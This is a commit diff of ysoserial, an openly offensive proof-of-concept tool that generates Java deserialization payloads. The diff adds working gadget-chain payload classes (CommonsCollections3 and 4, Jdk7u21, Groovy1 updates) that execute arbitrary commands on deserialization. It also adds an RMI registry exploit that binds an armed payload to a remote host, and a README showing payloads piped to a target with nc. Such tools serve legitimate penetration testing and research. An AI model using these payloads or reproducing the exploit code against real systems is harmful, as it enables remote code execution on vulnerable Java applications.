9 Commits
34 changed files with 1175 additions and 379 deletions
+1 -2
View File
@@ -1,7 +1,6 @@
language: java language: java
jdk: jdk:
- oraclejdk8 - oraclejdk8
- openjdk8
- oraclejdk7 - oraclejdk7
- openjdk7 - openjdk7
- openjdk6 - openjdk6
+22 -11
View File
@@ -7,8 +7,12 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
## Description ## Description
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/).
libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then Updated to include a [JRE <= 1.7u21 gadget chain](https://gist.github.com/frohoff/24af7913611f8406eaf3).
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
this data, the chain will automatically be invoked and cause the command to be executed on the application host. this data, the chain will automatically be invoked and cause the command to be executed on the application host.
@@ -25,20 +29,23 @@ are not responsible or liable for misuse of the software. Use responsibly.
## Usage ## Usage
```shell ```shell
$ java -jar ysoserial-0.0.1-all.jar $ java -jar ysoserial-0.0.3-all.jar
Y SO SERIAL? Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
Available payload types: Available payload types:
CommonsCollections1 CommonsCollections1 [commons-collections:commons-collections:3.1]
CommonsCollections2 CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
Groovy1 CommonsCollections3 [commons-collections:commons-collections:3.1]
Spring1 CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Jdk7u21 []
Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]
``` ```
## Examples ## Examples
```shell ```shell
$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd $ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
@@ -47,20 +54,24 @@ $ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.: 0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin $ java -jar ysoserial-0.0.3-all.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 < groovypayload.bin $ nc 10.10.10.10 < groovypayload.bin
$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe $ java -cp ysoserial-0.0.3-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
``` ```
## Installation ## Installation
1. Download the latest jar from the "releases" section. 1. Download the latest jar from the "releases" section.
## Code Status
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
## Contributing ## Contributing
1. Fork it 1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`) 2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`) 3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`) 4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request 5. Create new Pull Request
Executable
+3
View File
@@ -0,0 +1,3 @@
grant {
permission java.security.AllPermission;
};
+11 -6
View File
@@ -4,7 +4,7 @@
<groupId>ysoserial</groupId> <groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId> <artifactId>ysoserial</artifactId>
<version>0.0.1-SNAPSHOT</version> <version>0.0.3-SNAPSHOT</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>ysoserial</name> <name>ysoserial</name>
@@ -22,15 +22,15 @@
<version>3.2</version> <version>3.2</version>
<configuration> <configuration>
<source>1.5</source> <source>1.5</source>
<target>1.5</target><!-- maximize compatibility --> <target>1.5</target><!-- maximize compatibility -->
</configuration> </configuration>
</plugin> </plugin>
<plugin> <plugin>
<artifactId>maven-assembly-plugin</artifactId> <artifactId>maven-assembly-plugin</artifactId>
<configuration> <configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName> <finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId> <appendAssemblyId>false</appendAssemblyId>
<archive> <archive>
<manifest> <manifest>
<mainClass>ysoserial.GeneratePayload</mainClass> <mainClass>ysoserial.GeneratePayload</mainClass>
</manifest> </manifest>
@@ -53,7 +53,7 @@
</build> </build>
<dependencies> <dependencies>
<!-- testing depedencies --> <!-- testing depedencies -->
<dependency> <dependency>
@@ -88,6 +88,11 @@
<version>2.1.1</version> <version>2.1.1</version>
<type>pom</type> <type>pom</type>
</dependency> </dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<!-- gadget dependecies --> <!-- gadget dependecies -->
@@ -100,7 +105,7 @@
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId> <artifactId>commons-collections4</artifactId>
<version>4.0</version> <version>4.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId> <artifactId>commons-lang3</artifactId>
+97
View File
@@ -0,0 +1,97 @@
import java.beans.EventHandler;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import javassist.util.proxy.ProxyFactory;
import javax.xml.transform.Templates;
import sun.misc.Unsafe;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
public class Tester {
public static class Foo {
public boolean value() {
System.out.println("called");
return true;
}
}
public static void main(String[] args) throws Exception {
// Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class);
//
// t.equals(new Foo());
ProxyFactory pf2 = new ProxyFactory();
ProxyFactory pf = new ProxyFactory();
pf.setInterfaces(new Class[]{ Serializable.class });
pf.setSuperclass(EventHandler.class);
pf.setUseWriteReplace(true);
pf.setUseCache(false);
// public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) {
Templates t = Gadgets.createTemplatesImpl("hostname");
Class c = pf.createClass();
Constructor ctor = c.getConstructors()[0];
ctor.setAccessible(true);
Object o = ctor.newInstance(t, "getOutputProperties", null, null);
//Object o = getUnsafe().allocateInstance(c);
//Object o = c.newInstance();
// System.out.println(pf);
// System.out.println(pf.hashCode());
// System.out.println(c);
System.out.println(c.getName());
System.out.println(o.getClass().getName());
// System.out.println(o);
// System.out.println(Arrays.asList(c.getInterfaces()));
byte[] serialized = Serializer.serialize(o);
//
//// System.out.write(serialized);
//
try {
Object o2 = Deserializer.deserialize(serialized);
//System.out.println(o2);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
o2 = Deserializer.deserialize(serialized);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
o2 = Deserializer.deserialize(serialized);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
} catch (Exception e) {
e.printStackTrace();
}
getUnsafe().allocateInstance(Class.class);
}
public static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe)f.get(null);
} catch (Exception e) { throw new RuntimeException(e); }
}
}
-18
View File
@@ -1,18 +0,0 @@
package ysoserial;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import ysoserial.payloads.util.Serializables;
/*
* for testing payloads across process boundaries
*/
public class Deserialize {
public static void main(final String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Serializables.deserialize(in);
}
}
+34
View File
@@ -0,0 +1,34 @@
package ysoserial;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
public class Deserializer implements Callable<Object> {
private final byte[] bytes;
public Deserializer(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
return deserialize(bytes);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}
+18 -40
View File
@@ -1,16 +1,15 @@
package ysoserial; package ysoserial;
import java.io.ObjectOutputStream; import java.io.PrintStream;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Collection; import java.util.Arrays;
import java.util.Collections; import java.util.Collections;
import java.util.Comparator; import java.util.Comparator;
import java.util.List; import java.util.List;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes") @SuppressWarnings("rawtypes")
public class GeneratePayload { public class GeneratePayload {
@@ -25,62 +24,41 @@ public class GeneratePayload {
} }
final String payloadType = args[0]; final String payloadType = args[0];
final String command = args[1]; final String command = args[1];
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'"); System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(); printUsage();
System.exit(USAGE_CODE); System.exit(USAGE_CODE);
} }
try { try {
final ObjectPayload payload = payloadClass.newInstance(); final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command); final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out); PrintStream out = System.out;
objOut.writeObject(object); Serializer.serialize(object, out);
} catch (Exception e) { } catch (Throwable e) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
e.printStackTrace(); e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE); System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}
@SuppressWarnings("unchecked")
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
try {
return (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
} }
try { System.exit(0);
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
return null;
} }
private static void printUsage() { private static void printUsage() {
System.err.println("Y SO SERIAL?"); System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
System.err.println("\tAvailable payload types:"); System.err.println("\tAvailable payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses = final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses()); new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName()); System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
} }
} }
// get payload classes by classpath scanning
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
public static class ToStringComparator implements Comparator<Object> { public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
} }
} }
@@ -1,23 +0,0 @@
package ysoserial;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
*/
public class RMIRegistryExploit {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
registry.bind("pwned", remote);
}
}
+30
View File
@@ -0,0 +1,30 @@
package ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;
public class Serializer implements Callable<byte[]> {
private final Object object;
public Serializer(Object object) {
this.object = object;
}
public byte[] call() throws Exception {
return serialize(object);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
@@ -0,0 +1,50 @@
package ysoserial.exploit;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import java.util.concurrent.Callable;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
*
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
final Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
Object payload = payloadClass.newInstance().getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
return null;
}});
}
}
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -37,6 +38,7 @@ import ysoserial.payloads.util.Reflections;
commons-collections commons-collections
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
@@ -70,7 +72,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
return handler; return handler;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args); PayloadRunner.run(CommonsCollections1.class, args);
} }
} }
+17 -26
View File
@@ -6,7 +6,7 @@ import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -14,7 +14,7 @@ import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/* /*
Gadget chain: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
PriorityQueue.readObject() PriorityQueue.readObject()
... ...
@@ -22,44 +22,35 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Runtime.exec() Runtime.exec()
Requires:
commons-collections4
*/ */
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { @Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { public Queue<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl(); final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
// mock method name until armed // mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator // create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later // stub data for replacement later
queue.add(1); queue.add(1);
queue.add(1); queue.add(1);
// switch method called by comparator // switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue // switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates; queueArray[0] = templates;
queueArray[1] = new Gadgets.TransletPayload().withCommand(command); queueArray[1] = 1;
return queue; return queue;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args); PayloadRunner.run(CommonsCollections2.class, args);
} }
+60
View File
@@ -0,0 +1,60 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
}
@@ -0,0 +1,63 @@
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4.class, args);
}
}
@@ -6,6 +6,7 @@ import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure; import org.codehaus.groovy.runtime.MethodClosure;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -25,6 +26,7 @@ import ysoserial.payloads.util.PayloadRunner;
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
@@ -37,7 +39,7 @@ public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHa
return handler; return handler;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Groovy1.class, args); PayloadRunner.run(Groovy1.class, args);
} }
} }
+86
View File
@@ -0,0 +1,86 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies()
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
}
@@ -1,9 +1,45 @@
package ysoserial.payloads; package ysoserial.payloads;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
public interface ObjectPayload<T> { public interface ObjectPayload<T> {
/* /*
* return armed payload object to be serialized that will execute specified * return armed payload object to be serialized that will execute specified
* command on deserialization * command on deserialization
*/ */
public T getObject(String command) throws Exception; public T getObject(String command) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
@SuppressWarnings("unchecked")
public
static Class<? extends ObjectPayload> getPayloadClass(final String className) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
}
if (clazz == null) {
try {
return clazz = (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
}
if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) {
clazz = null;
}
return clazz;
}
}
} }
+15 -29
View File
@@ -5,23 +5,20 @@ import static java.lang.Class.forName;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type; import java.lang.reflect.Type;
import java.util.Arrays;
import java.util.List;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory; import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.annotation.Dependencies;
